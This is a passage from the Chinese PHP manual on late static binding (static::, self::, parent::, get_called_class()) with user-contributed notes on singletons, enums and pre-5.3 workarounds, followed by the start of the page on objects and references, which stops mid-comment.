PHP 增加了一个叫做后期静态绑定的功能，用于在继承范围内引用静态调用的类。

准确说，后期静态绑定工作原理是存储了在上一个"非转发调用"（non-forwarding call）的类名。当进行静态方法调用时，该类名即为明确指定的那个（通常在 :: 运算符左侧部分）；当进行非静态方法调用时，即为该对象所属的类。所谓的"转发调用"（forwarding call）指的是通过以下几种方式进行的静态调用：self::，parent::，static:: 以及 forward_static_call()。可用 get_called_class() 函数来得到被调用的方法所在的类名，static:: 则指出了其范围。

该功能从语言内部角度考虑被命名为"后期静态绑定"。"后期绑定"的意思是说，static:: 不再被解析为定义当前方法所在的类，而是在实际运行时计算的。也可以称之为"静态绑定"，因为它可以用于（但不限于）静态方法的调用。

self:: 的限制

使用 self:: 或者 __CLASS__ 对当前类的静态引用，取决于定义当前方法所在的类：

Example #1 self:: 用法

<?php
class A {
public static function who() {
echo __CLASS__;
}
public static function test() {
self::who();
}
}

class B extends A {
public static function who() {
echo __CLASS__;
}
}

B::test();
?>

以上示例会输出：

A

后期静态绑定的用法

后期静态绑定本想通过引入一个新的关键字表示运行时最初调用的类来绕过限制。简单地说，这个关键字能在上述例子中调用 test() 时引用的类是 B 而不是 A。最终决定不引入新的关键字，而是使用已经预留的 static 关键字。

Example #2 static:: 简单用法

<?php
class A {
public static function who() {
echo __CLASS__;
}
public static function test() {
static::who(); // 后期静态绑定从这里开始
}
}

class B extends A {
public static function who() {
echo __CLASS__;
}
}

B::test();
?>

以上示例会输出：

B

Note:

在非静态环境下，所调用的类即为该对象实例所属的类。由于 $this-> 会在同一作用范围内尝试调用私有方法，而 static:: 则可能给出不同结果。另一个区别是 static:: 只能用于静态属性。

Example #3 非静态环境下使用 static::

<?php
class A {
private function foo() {
echo "success!\n";
}
public function test() {
$this->foo();
static::foo();
}
}

class B extends A {
/* foo() 将复制给 B，因此它的作用域将是 A 并调用成功 */
}

class C extends A {
private function foo() {
/* 替换原来的方法；新的作用域是 C */
}
}

$b = new B();
$b->test();
$c = new C();
$c->test(); //fails
?>

以上示例会输出：

success!
success!
success!

Fatal error:  Call to private method C::foo() from context 'A' in /tmp/test.php on line 9

Note:

后期静态绑定的解析会一直到取得一个完全解析了的静态调用为止。另一方面，如果静态调用使用 parent:: 或者 self:: 将转发调用信息。

Example #4 转发和非转发调用

<?php
class A {
public static function foo() {
static::who();
}

public static function who() {
echo __CLASS__."\n";
}
}

class B extends A {
public static function test() {
A::foo();
parent::foo();
self::foo();
}

public static function who() {
echo __CLASS__."\n";
}
}
class C extends B {
public static function who() {
echo __CLASS__."\n";
}
}

C::test();
?>

以上示例会输出：

A
C
C

User Contributed Notes

MikeT 25-Oct-2022 11:52
Word of caution static::class doesn't always work as you might expect
<?php
namespace NameSpace;

class Class
{
    static function getClass()
    {
         return static::class;
    }
}

Class::getClass()
?>
may return \NameSpace\Class or Class depending on context
5imun at github dot com 29-Jul-2022 07:38
Example of setting up static property in child class from parent only if it isn't already defined, many people would expect that output will be "Foo Bar" but instead we get "Foo Foo":

<?php
class Foo
{
    public static string $A;

    public static function init() {
        return "Foo";
    }
    public static function get() {
        if (!isset(static::$A)) {
            static::$A = static::init();
        }
        return static::$A;
    }
}

class Bar extends Foo {
    public static function init() {
        return "Bar";
    }
}

$foo = new Foo();
$bar = new Bar();

echo $foo->get();
echo $bar->get();
?>

Output:
Foo
Foo
5imun at github dot com 29-Jul-2022 07:14
You must be careful when getting static property of extended class from parent class, in example below you can see that using property_exists (method getA2) instead of isset with static keyword (method getA1) to check if the static property exist gives much more intuitive result:

<?php
class Foo
{
    public static string $A;

    public static function init() {
        return static::class;
    }

    public static function getA1() {
        if (!isset(static::$A)) {
            static::$A = static::class;
        }
        return static::$A;
    }

    public static function getA2() {
        if (property_exists(static::class, 'A')) {
            static::$A = static::class;
        }
        return static::$A;
    }
}
class Bar extends Foo {}

$foo = new Foo();
echo $foo->getA1();
echo $foo->getA2();
echo $foo->getA1();

$bar = new Bar();
echo $bar->getA1();
echo $bar->getA2();
echo $bar->getA1();
?>

Output:
Foo
Foo
Foo

Foo
Bar
Bar

Notice how $bar->getA1() returns "Foo" instead of "Bar" that many people would expect to see.
aabweber at gmail dot com 27-Mar-2022 07:05
Simplest way to understand is to run this script:

<?php
class ParentClass
{
    static $A = 'ParentVariable';

    static function parentCall()
    {
        echo get_called_class() . ', self: ' . self::$A . "\n";
        echo get_called_class() . ', static: ' . static::$A . "\n";
        echo "---\n";
    }
}

class ChildClass extends ParentClass
{
    static $A = 'ChildVariable';

    static function childCall()
    {
        echo get_called_class() . ', self: ' . self::$A . "\n";
        echo get_called_class() . ', static: ' . static::$A . "\n";
        echo get_called_class() . ', parent: ' . parent::$A . "\n";
        echo "---\n";
    }
}

echo "Late Static Bindings:\n";
ParentClass::parentCall();
ChildClass::parentCall();
ChildClass::childCall();
?>

----
Output:

Late Static Bindings:
ParentClass, self: ParentVariable
ParentClass, static: ParentVariable
---
ChildClass, self: ParentVariable
ChildClass, static: ChildVariable
---
ChildClass, self: ChildVariable
ChildClass, static: ChildVariable
ChildClass, parent: ParentVariable
Anonymous 19-Feb-2022 09:02
class P_Class {
    public static $val = "Parent";
    public static function setVal($val){
        static::$val = $val;
    }
    public static function getVal(){
        return static::$val;
    }
}

class C_Class extends P_Class{}

C_Class::setVal("Child");
var_dump(C_Class::getVal());
var_dump(P_Class::getVal());

Output:
string(5) "Child"
string(5) "Child"
backnot 04-Sep-2021 11:07
In the above example (#3) in order to make it work, you can change the child's method from 'private' to 'protected' (or public) and it will be called through 'static'.

<?php
class A {
    private function foo() {
        echo "success!\n";
    }
    public function test() {
        $this->foo();
        static::foo();
    }
}

class B extends A {
   /* foo() will be copied to B, hence its scope will still be A and
    * the call be successful */
}

class C extends A {
    protected function foo() { //note the change here
         echo 'hello world!';
    }
}

$b = new B();
$b->test();
$c = new C();
$c->test();   // 'success' 'hello world'
?>
MelkiySoft 26-Apr-2018 09:26
<?php

class A
{

}

class B extends A
{
    public static function foo () {
        echo 'new self: ';
        var_dump(new self());
        echo '<br>new parent: ';
        var_dump(new parent());
        echo '<br>new static: ';
        var_dump(new static());
    }
}

class C extends B
{

}

c::foo();
===========================
output:
//new self: object(B)#1 (0) { }
//new parent: object(A)#1 (0) { }
//new static: object(C)#1 (0) { }
sskaje at gmail dot com 31-Aug-2015 04:01
static::class and self::class can be used to get current class name,
work under 5.5 and 5.6
failed in 5.3.

<?php
class a{
    function d() {
        echo "=== self::class ===\n";
        var_dump(self::class);
        echo "=== static::class ===\n";
        var_dump(static::class);
    }
}
class b extends a{}
class c extends b{}

a::d();
b::d();
c::d();

/*
Output:

=== self::class ===
string(1) "a"
=== static::class ===
string(1) "a"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "b"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "c"

*/
tamilps2 at gmail dot com 20-Mar-2014 05:42
I have implemented enum using late static binding.

<?php
interface IEnum {
  /**
   * Only concrete class should implement this function that should behave as
   * an enum.
   *
   * This method should return the __CLASS__ constant property of that class
   *
   * @return string __CLASS__
   */
  public static function who();
}

abstract class Enum {

  /**
   * The selected value for the enum implementation
   *
   * @var mixed
   */
  public $value;

  public function __construct($value) {
    $this->value = $value;
  }

  /**
   * The factory method that creates the corresponding enum class.
   *
   * @param integer $type
   * @return false|\class
   */
  public static function Factory($type) {
    if (empty($type)) {
      return false;
    }

    // use of late static binding to get the class.
    $class = static::who();

    if (array_key_exists($type, static::$_enums)) {
      return new $class($type);
    }

    return false;
  }

  public function getValue() {
    return $this->value;
  }

  public static function getValues() {
    return array_keys(static::$_enums);
  }

  public function getString() {
    return static::$_enums[$this->value];
  }

  public function __toString() {
    return static::$_enums[$this->value];
  }

}

class Fruits extends Enum implements IEnum {

      public static $_enums = array(
            1 => 'Apple'
            2 => 'Orange'
            3 => 'Banana'
      )

      public static function who() {
             return __CLASS__;
      }
}

// Usage

// user input from dropdown menu of fruits list
$input = 3;

$fruit = Fruits::Factory($input);

$fruit->getValue(); // 3
$fruit->getString(); // Banana
?>
mhh1422 at hotmail dot com 29-Dec-2013 11:58
For abstract classes with static factory method, you can use the static keyword instead of self like the following:
<?php

abstract class A{

    static function create(){

        //return new self();  //Fatal error: Cannot instantiate abstract class A

        return new static(); //this is the correct way

    }

}

class B extends A{
}

$obj=B::create();
var_dump($obj);

?>
Taai 21-Aug-2012 10:36
I discovered an interesting thing. The class name string must be accessed directly from "flat" variable. Late static binding code that get's it's variable from array that is passed by class instance, throws an syntax error. Bug?

<?php
class A {

    public $metadata = array('class' => 'A');

    public static function numbers()
    {
        return 123;
    }

}

$instance = new A();

// This throws an error
// Parse error: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM)
var_dump( $instance->metadata['class']::numbers() );

// Get the class name and store it in "flat" variable and now it's ok
$class_name = $instance->metadata['class'];
var_dump( $class_name::numbers() );

// Other tests -------------------------------------------

$arr =  array('class' => 'A');

// This works too.
var_dump( $arr['class']::numbers() );
?>
jrfish dot x at gmail dot com 09-Dec-2010 04:05
also works the same way with static variables and constants
jrfish dot x at gmail dot com 09-Dec-2010 04:01
consider this:

<?php
class A
{

 // some stuff....

    public static function getInstance()
    {
        return new self();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();

//versus

class A
{

 // some stuff....

    public static function getInstance()
    {
        return new static();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();
?>

also works the same way with static variables and constants
Anonymous 24-Nov-2010 09:22
THIS WORKED GREAT FOR ME:

<?php
abstract class ParentClass
{
    static function parent_method()
    {
        $child_class_str = self::get_child_class();
        eval("\$r = ".$child_class_str."::abstract_static();");
        return $r;
    }// CHILD MUST OVERRIDE TO PUT ITSELF INTO TRACE

    protected abstract static function abstract_static();

    private static function get_child_class()
    {
        $backtrace = debug_backtrace();
        $num = count($backtrace);
        for($i = 0; $i < $num; $i++)
        {
            if($backtrace[$i]["class"] !== __CLASS__)
                return $backtrace[$i]["class"];
        }
        return null;
    }
}

class ChildClass extends ParentClass
{
    static function parent_method(){ return parent::parent_method(); }

    protected static function abstract_static()
    {
        return __METHOD__."()";
    }// From ParentClass
}

print "The call was: ". ChildClass::parent_method();
?>
jakub dot lopuszanski at nasza-klasa dot pl 08-Nov-2010 10:12
Suprisingly consts are also lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
tfn dot yldrm at hotmail dot com 26-Oct-2010 12:30
example for static binding on 5.2 and real enumaration
<?php
    /**
    * Static Binding On PHP 5.2
    * @author Tufan Baris YILDIRIM
    * @since 26.10.2010
    */
    abstract class EnumBase
    {
        protected $num = 0;
        public $toString;
        public $toInt;

        public function __construct($enumKeyOrVal)
        {

            unset($this->toString,$this->toInt);

            $enums = $this->enums();

            if(
            empty($enumKeyOrVal)
            ||
            !(isset($enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,$enums)) !== false)
            )
                $this->num = 0;

            /**
            *  5.3 Version
            */
            /*
            *  if(
            empty($enumKeyOrVal)
            ||
            !(isset(static::$enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,static::$enums)) !== false)
            )
            $this->num = 0;
            */
        }

        #5.3 e ge?ilirse gerek kalmaz.
        public function vars()
        {
            return get_class_vars(get_class($this));
        }

        public function enums()
        {
            $vars = $this->vars();
            return $vars['enums'];
        }

        public function __get($property)
        {
            if(method_exists($this,'__'.$property))
                return $this->{'__'.$property}();
            else
                return $this->__toString();
        }

        public function __toInt()
        {
            return $this->num;
        }

        public function __toString()
        {

            $enums = $this->enums();

            if(isset($enums[$this->num]))
            {
                return $enums[$this->num];
            }
            else
            {
                return $enums[0];
            }

            /**
            * 5.3 Version
            */

            /*
            if(isset(static::$enums[$this->num]))
            {
            return static::$enums[$this->num];
            }
            else
            {
            return static::$enums[0];
            }
            */
        }
    }

    class Positions extends EnumBase
    {
        public static $enums = array(
        0 => 'Bilinmiyor',
        1 => 'Kale',
        2 => 'Defans',
        3 => 'Orta Saha',
        4 => 'Forvet'
        );
    }

    $a = new Positions('Orta Saha');
    $b = new Positions(4);

    $c = (string)$a; // Orta Saha
    $d = (string)$b; // Forvet
?>
steven dot karas+nospam at gmail dot com 27-Sep-2010 02:38
This function can be used as a workaround for late static binding in PHP >= 5.1.0. There was another similar version of this function elsewhere, but used eval.

<?php

function & static_var($class, $name)
{
    if (is_object($class))
    {
        $class = get_class($class);
    }
    elseif ( ! is_string($class))
    {
        throw new Exception('Must be given an object or a class name', NULL);
    }

    $class = new ReflectionClass($class);
    return $class->getStaticPropertyValue($name);
}

?>
adam dot prall at thinkingman dot com 11-Jun-2010 09:51
Just a quick reminder to always check your syntax. While I love LSB, I thought it wasn't working:

static::$sKey = not set

...until I realized that I'd completely forgotten to make it a variable variable:

$sKey = 'testStaticClassVarNameThatExistsInThisClassesScope';

static::$$sKey = is set

...of course this applies anywhere in PHP, but because of the (current) newness late static bindings, I've seen lots of code with this particular snafu in it from others.
joost dot t dot hart at planet dot nl 21-Aug-2009 06:34
PHP5.3 unavailable, yet in the need for 'static', I did the following.

Any objections? Personally I hate using the the eval() statement...

<?php

class mother
{
    function setStatic( $prop, $val ) {
        // After this, self:: refers to mother, yet next $class refers to...
        //
        $class = get_class( $this );
        eval( "$class::\$$prop = \$$val;" );
    }
}

class child extends mother
{
    protected static $sProp;

    function writer( $value ) {
        parent::setStatic( 'sProp', $value );
    }
    function reader()
    {
        return self::$sProp;
    }
}

$c = new child();
$c->writer( 3 );
echo $c->reader(); // 3

?>
tom 03-Jul-2009 06:28
Something you may find useful for passive code-testing:

<?php
class BaseClass {
  function __get($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
  function __set($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
}

class MyClass extends BaseClass {
// my implementation
}
?>

Using these magic function as described above will help you to find classes that try to access an undefined (and undocumented) class-member. In most cases: this is an error based on misspelled member names.
kenneth at kennethjorgensen dot com 30-Mar-2009 02:19
Simple basic class which uses to get_called_class() to create singleton instances. A previous post by php at mikebird dot co dot uk explain how to do this, but the extended static variables require you to define them in child classes before they work.

<?php

abstract class Singleton {
    private static $instances = array();

    public function __construct() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances))
            trigger_error("Tried to construct  a second instance of class \"$class\"", E_USER_WARNING);
    }

    public static function getInstance() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances) === false)
            self::$instances[$class] = new $class();
        return self::$instances[$class];
    }
}

class A extends Singleton {
}

class B extends Singleton {
}

$a1 = A::getInstance();
$a2 = A::getInstance();
$b1 = B::getInstance();
$b2 = B::getInstance();

if (get_class($a1) == "A" &&
    get_class($a2) == "A" &&
    get_class($b1) == "B" &&
    get_class($b2) == "B" &&
    $a1 === $a2 &&
    $b1 === $b2)
    echo "All good\n";
else
    echo "FAIL!\n";

?>

You probably noticed the use of self:: rather than static::, this is because we want the static variable to be private, and using static:: will not allow us to do that.
gern_ at hotmail dot com 18-Sep-2008 07:51
get_called_class for PHP < 5.3

<?php
/**
 * Return called class name
 *
 * @author Michael Grenier
 * @param int $i_level optional
 * @return string
 */
function get_called_class ($i_level = 1)
{
    $a_debug = debug_backtrace();
    $a_called = array();
    $a_called_function = $a_debug[$i_level]['function'];
    for ($i = 1, $n = sizeof($a_debug); $i < $n; $i++)
    {
        if (in_array($a_debug[$i]['function'], array('eval')) ||
            strpos($a_debug[$i]['function'], 'eval()') !== false)
            continue;
        if (in_array($a_debug[$i]['function'], array('__call', '__callStatic')))
            $a_called_function = $a_debug[$i]['args'][0];
        if ($a_debug[$i]['function'] == $a_called_function)
            $a_called = $a_debug[$i];
    }
    if (isset($a_called['object']) && isset($a_called['class']))
        return (string)$a_called['class'];
    $i_line = (int)$a_called['line'] - 1;
    $a_lines = explode("\n", file_get_contents($a_called['file']));
    preg_match("#([a-zA-Z0-9_]+){$a_called['type']}
                {$a_called['function']}( )*\(#", $a_lines[$i_line], $a_match);
    unset($a_debug, $a_called, $a_called_function, $i_line, $a_lines);
    if (sizeof($a_match) > 0)
        $s_class = (string)trim($a_match[1]);
    else
        $s_class = (string)$a_called['class'];
    if ($s_class == 'self')
        return get_called_class($i_level + 2);
    return $s_class;
}
?>
kx 14-Sep-2008 09:39
At least as of PHP 5.3.0a2 there's a function get_called_class(), which returns the class on which the static method is called.

<?php

class a {
  static public function test() {
    print get_called_class();
  }
}

class b extends a {
}

a::test(); // "a"
b::test(); // "b"

?>
iamscrumpyjack 07-Sep-2008 09:01
I have been dying to see this issue resolved. I'm very much looking forward to the production release of PHP 5.3...

In my case I have been trying to do the following:

class A {
  function __construct() {
    echo "I was called by " . static::__CLASS__;
  }
}

class B extends A {
  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Should echo "I was called by B"
$b->Foo(); // Should echo "I am class B"

At the moment I do the following workaround:

class A {
  function __construct($child) {
    echo "I was called by " . $child;
  }
}

class B extends A {
  function __construct() {
    parent::__construct(__CLASS__);
  }

  function Foo() {
    echo "I am class " . __CLASS__;
  }
}

$b = new B; // Echos "I was called by B"
$b->Foo(); // Echo "I am class B"

As you can see, my current workaround has some overhead and is not as water-tight as the late static binding method.
sebastien at info-conseil dot fr 17-Jul-2008 07:26
Here is a small workaround I made for the static inheritance issue. It's not perfect, but it works.

<?php

// BaseClass class will be extended by any class needing static inheritance workaroud
class BaseClass {
    // Temporarily stores class name for Entry::getStatic() and Entry::setNextStatic()
    protected static $nextStatic = false;

    // Returns the real name of the class calling the method, not the one in which it was declared.
    protected static function getStatic() {
        // If already stored
        if (self::$nextStatic) {
            // Clean and return
            $class = self::$nextStatic;
            self::$nextStatic = false;
            return $class;
        }

        // Init
        $backTrace = debug_backtrace();
        $class = false;

        // Walk through
        for ($i=0; $i<count($backTrace); $i++) {
            // If a class is defined
            if (isset($backTrace[$i]['class'])) {
                // Check if it is not a basic class
                if (!in_array($backTrace[$i]['class'], array('BaseClass', 'GenericClass'))) {
                    return $backTrace[$i]['class'];
                } else {
                    $class = $backTrace[$i]['class'];
                }
            } else {
                // Returns last known class
                return $class;
            }
        }

        // Default
        return $class;
    }

    // If a static method is called within global env, the previous method won't work, so we need to tell BaseClass which
    public static function setNextStatic($class) {
        // Save value
        self::$nextStatic = $class;
    }
}

// Generic class declaring various static methods
class GenericClass extends BaseClass {
    public static $name = 'Generic';

    public function getName() {
        $static = get_class_vars(get_class($this));
        return $static['name'];
    }

    public static function basicClassName() {
        return self::$name;
    }

    public static function staticClassName() {
        // Get real name
        $staticName = self::getStatic();

        // Return final class name
        $static = get_class_vars($staticName);
        return $static['name'];
    }
}

// Final class
class SomeClass extends GenericClass {
    public static $name = 'Some';

    public static function returnClassNameWith($string) {
        return $string.' : '.self::staticClassName();
    }
}

// Instance call

// Will print 'Some'
$a = new SomeClass();
echo 'Name of $a : '.$a->getName().'<br />';

// Static calls

// Will print 'Generic'
echo 'Basic call to SomeClass::$name : '.SomeClass::basicClassName().'<br />';

// Will print 'Generic'
echo 'Global call to SomeClass::$name : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
BaseClass::setNextStatic('SomeClass');
echo 'Global call to SomeClass::$name with pre-set : '.SomeClass::staticClassName().'<br />';

// Will print 'Some'
echo 'Internal call to SomeClass::$name : '.SomeClass::returnClassNameWith('This is a ').'<br />';

?>

There are two issues with this workaround :
- if you call a static method from global env, you need to declare the name of the class BEFORE calling the method, otherwise the workaround won't work (see 3rd and 4th examples). But I assume good programming makes few calls to static methods from global scope, so this shouldn't be long to fix if you use it.
- the workaround fails to access to private or protected static vars, as it uses get_class_vars(). If you find any better solution, let us know.

With Php 5.3.0, upgrading will be easy : just delete the methods from the basic class, and search/replace any call to getStatic() and setNextStatic() by static:: - or one could use a selector on PHP_VERSION value to include either the BaseClass file with workaround or a BaseClass file using static::
Anonymous 12-Jul-2008 12:49
Trying to recreate an inheritable static part for an object through a singleton pattern.

<?php
/**
 * "Inheritable static" for PHP < 5.3
 * << Library/Inheritable.php >>
 */

abstract class Inheritable_Static extends Singleton
{
}

abstract class Inheritable
{
    public static function getStatic($className)
    {
        // Use an abstract Singleton
        return Singleton::getInstance($className . '_Static') ;
    }

    public function goStatic()
    {
        return self::getStatic(get_class($this)) ;
    }
}

/**
 * Abstract
 * << Library/SayIt/Abstract.php >>
 */

abstract class SayIt_Abstract_Static extends Inheritable_Static
{
    public $format ;
}

abstract class SayIt_Abstract extends Inheritable
{
    protected $_name ;

    public function __construct($name)
    {
        $this->_name = $name ;
    }

    final public function sayIt()
    {
        echo sprintf($this->goStatic()->format, $this->_name) . "\n" ;
    }

}

/**
 * Concrete
 * << Library/SayIt/Hello.php >>
 */

class SayIt_Hello_Static extends SayIt_Abstract_Static
{
}

class SayIt_Hello extends SayIt_Abstract
{
    public static function getStatic() { return parent::getStatic(__CLASS__) ; }
}

/**
 * Test
 */

SayIt_Hello::getStatic()->format = 'Hello %s' ;

$w = new SayIt_Hello('World') ;
$j = new SayIt_Hello('Joe') ;

echo $w->sayIt() ; // Hello World
echo $j->sayIt() ; // Hello Joe
Andrea Giammarchi 21-Jun-2008 01:06
About static parameters, these work as expected.
<?php
class A {
    protected static $__CLASS__ = __CLASS__;
    public static function constructor(){
        return  static::$__CLASS__;
    }
}

class B extends A {
    protected static $__CLASS__ = __CLASS__;
}

echo    B::constructor(); // B
?>
martinpauly [at] google mail [dot] com 18-Jun-2008 05:54
will this work for variables as well?

it would be great, if the following worked:

<?php
class A {
protected static $table = "table";
public static function connect(){
     //do some stuff here
     echo static::$table;
     return static::getInstance(); //function getInstance() now can return classes A or B depending on the context it was called
}
...
}

class B extends A {
protected static $table = "subtable";
...
}

$table = B::connect(); //hopefully the output will be: subtable
?>
deadimp at gmail dot com 05-Jun-2008 10:39
I think this will be pretty helpful too.
My question is, can just 'static' by itself resolve to the late static class?
I ask this because it could help in making new instances of the derived class, from a base class, by calling a derived class's static method instead of having to create a new instance of the derived class - or explicitly defining a 'getClass' method for each derived class.
Example:
<?php
//There isn't really any purpose for this example I posted
//Just a random implementation
class Base {
    static function useful() {
        //Create a list of instances of the derived class
        $list=array();
        for ($i=0;$i<10;$i++) $list[]=new static(); //Here's the point in question
        return $list;
    }
}
class Derived extends Base {
    static function somethingElse() {
        //...
        $list=static::useful();
    }
}
?>
I'm not sure what kind of lexical / whatever-it's-called problems this would make with parsing. I don't think it could really collide with any contexts where you would use static otherwise - variable / method declaration.

Even more so, is there a way to get the class's name to which the keywords 'self', 'parent', or 'static' refer?
Example:
<?php
class Base {
    static function stuff() {
        echo "Self: ".get_class(self);
        echo "Parent: ".get_class(parent);
        echo "Derived: ".get_class(static);
    }
}
class Derived extends Base {
    static function stuff() {
        static::stuff();
    }
}
?>

I don't think there should be a massive bloat in the PHP core to support all of this, but it would be nice to take advantage of the dynamic nature of PHP.

And yet another side note:
If you're in the instance-level scope in a method of a base, and you want to get a top-level static, here's an ugly workaround (from Thacmus /lib/core.php - see SVN repo):
<?php
//Get reference [?] to static from class
    //$class - Class name OR object (uses get_class())
    //$var - Not gonna say
function& get_static($class,$var) { //'static_get'?
    if (!is_string($class)) $class=get_class($class);
    if (!@property_exists($class,$var)) {
        trigger_error("Static property does not exist: $class::\$$var");
        //debug_callstack(); //This is just a wrapper for debug_backtrace() for HTML
        return null;
    }
    //Store a reference so that the base data can be referred to
        //The code [[ return eval('return &'.$class.'::$'.$var.';') ]] does not work - can not return references...
        //To establish the reference, use [[ $ref=&get_static(...) ]]
    eval('$temp=&'.$class.'::$'.$var.';'); //using
    return $temp;
}
?>
tyler AT canfone [dot] COM 04-Jun-2008 10:48
@ php at mikebird

You can pass arguments to your constructor through your getInstance method, assuming you are running php5.

        public static function getInstance($params = null) {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass($params);
            }
            return self::$objInstance;
        }

This would pass the params to your constructor. Love for php.
sergei at 2440media dot com 28-May-2008 01:22
Finally we can implement some ActiveRecord methods:

<?php

class Model
{
    public static function find()
    {
        echo static::$name;
    }
}

class Product extends Model
{
    protected static $name = 'Product';
}

Product::find();

?>

Output: 'Product'
php at mikebird dot co dot uk 23-Apr-2008 08:39
This should make life easier and neater if you have a project with a lot of singleton classes e.g.

<?php

    class Singleton {

        public static $objInstance;

        public static function &getInstance() {
            if (self::$objInstance == null) {
                $strClass = static::getClass();
                self::$objInstance = new $strClass;
            }
            return self::$objInstance;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    class Foo extends Singleton {

        public $intBar;

        public function __construct() {
            $this->intBar = 1;
        }

        public static function getClass() {
            return __CLASS__;
        }

    }

    $objFooTwo = Foo::getInstance();
    $objFooTwo->intBar = 2;

    $objFooOne = Foo::getInstance();

    if ($objFooOne->intBar == $objFooTwo->intBar) {
        echo 'it is a singleton';
    } else {
        echo 'it is not a singleton';
    }

?>

The above will output 'it is a singleton'. The obvious downfall to this method is not being able to give arguments to the constructor.
max at mastershrimp dot com 10-Apr-2008 03:24
If you are using PHP < 5.3.0 you might be interested in the following workaround for late static binding: http://de2.php.net/manual/de/function.get-class.php#77698


对象和引用

在 PHP 对象编程经常提到的一个关键点是"默认情况下对象是通过引用传递的"。但其实这不是完全正确的。下面通过一些例子来说明。

PHP 的引用是别名，就是两个不同的变量名字指向相同的内容。在 PHP 中，一个对象变量不再保存整个对象的值。只是保存一个标识符来访问真正的对象内容。 当对象作为参数传递，作为结果返回，或者赋值给另外一个变量，另外一个变量跟原来的不是引用的关系，只是他们都保存着同一个标识符的拷贝，这个标识符指向同一个对象的真正内容。

Example #1 引用和对象

<?php
class A {
public $foo = 1;
}

$a = new A;
$b = $a; // $a ,$b都是同一个标识符的拷贝
// ($a) = ($b) = <id>
$b->foo = 2;
echo $a->foo."\n";

$c = new A;
$d = &$c; // $c ,$d是引用
// ($c,$d) = <id>

$d->foo = 2;
echo $c->foo."\n";

$e = new A;

function foo($obj) {
// ($obj) = ($e) = <id>
$obj->foo = 2;
}

foo($e);
echo $e->foo."\n";

?>

以上示例会输出：

2
2
2

User Contributed Notes

rnealxp at yahoo dot com 11-May-2020 06:47
Concise reminders of the behaviors of object assignments, with and without using the "&" operator...
<?php
class clsA{
    public $propA = 2;
}
class clsB{
    public $propB = 3;
}
//------------
$a = new clsA();
$c = $a; //Both of these vars now refer to the same object-instance (an assignment-by-reference).
$c->propA = 22; //Use one of the vars to change the instance's property.
echo $c->propA . "\n"; //output: 22
echo $a->propA . "\n"; //output: 22
//------------
$b = new clsB();
$a = $b; //Before this assignment, both $c and $a referred to the same object instance; this is no longer the case after $a is switched to reference the instance of clsB.
echo $c->propA . "\n"; //output: 22 (this works because $c is still a reference to the object instance of type clsA)
echo $c->propB . "\n"; //output: "Undefined property: clsA::$propB" (did not work because $c is not a reference to the object instance of type clsB)
//------------
//Start over and use the "&" operator...
$a = new clsA();
$b = new clsB();
$c = &$a; //<--$c will refer to whatever $a currently and "futuristically" refers to (also a type of assignment-by-reference); in C-language, you would think of this as copying a pointer.
echo $c->propA . "\n"; //output: 2
$a = $b; //This assignment causes $c to refer to a new/different object.
echo $c->propA . "\n"; //output: "Undefined property: clsB::$propA" (does not work since $c no longer refers to the object instance of type clsA)
echo $c->propB . "\n"; //output: 3 (works since $c now refers to the object instance of type clsB)
//------------
?>
Joe F 01-Mar-2019 01:38
I am planning to serialize and unserialize objects as a means of storage, and my application can conveniently group large numbers of objects inside of a single object to serialize. However, this presented some questions that I needed to answer:

Let's say the parent object I plan to serialize is "A" and the objects I store in it will be A(a-z). If I pass A(b) to A(c), this happens by reference. So if A(c) takes actions that effect the values of A(b), this will also update the original A(b) stored in A. Great!

However, what happens when I serialize A, where A(c) has a reference to A(b), and then I unserialize? Will A(c) have a new unique copy of A(b), or will it still reference the A(b) stored in A?

The answer is, PHP 5.5 and PHP 7 both track whether something is a reference to an object it's already "recreated" during the unserialize process, see this example:

<?php

class foo {
    protected $stored_object;
    protected $stored_object2;
    protected $stored_value;

    public function __construct($name, $stored_value) {
        $this->store_value($stored_value);
        echo 'Constructed: '.$name.' => '.$stored_value.'<br/>';
    }

    public function store_object(foo $object) {
        $this->stored_object = $object;
    }

    public function store_object2(foo $object) {
        $this->stored_object2 = $object;
    }

    public function store_value($value) {
        $this->stored_value = $value;
    }

    public function stored_method($method, array $parameters) {
        echo 'Call stored method: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object, $method), $parameters);
        echo '} <br/>';
    }

    public function stored_method2($method, array $parameters) {
        echo 'Call stored method 2: '.$method.'{ <br/>';
        call_user_func_array(array($this->stored_object2, $method), $parameters);
        echo '} <br/>';
    }

    public function echo_value() {
        echo 'Value: '.$this->stored_value.'<br/>';
    }
}

$foo = new foo('foo', 'Hello!'); // Constructed: foo => Hello!
$new_foo = new foo('new_foo', 'New Foo 2!'); // Constructed: new_foo => New Foo 2!
$third_foo = new foo('third_foo', 'Final Foo!'); // Constructed: third_foo => Final Foo!

$foo->store_object($new_foo);
$foo->store_object2($third_foo);
$foo->stored_method('store_object', array($third_foo)); //Call stored method: store_object{ }

$serialized = serialize($foo);
unset($foo);
unset($new_foo);
unset($third_foo);
$unserialized_foo = unserialize($serialized);

//Below, I update the object represented as A(c) but I update it via the A object
$unserialized_foo->stored_method2('store_value', array('Super Last Foo!')); // Call stored method 2: store_value{}
$unserialized_foo->echo_value(); // Value: Hello!
$unserialized_foo->stored_method('echo_value', array());
//Call stored method: echo_value{
//Value: New Foo 2!
//}

// Last, I check the value of A(c) as it was stored in A(b) to see if updating A(c) via A also updates A(b)'s copy/reference:
$unserialized_foo->stored_method('stored_method', array('echo_value', array()));
//Call stored method: stored_method{
//Call stored method: echo_value{
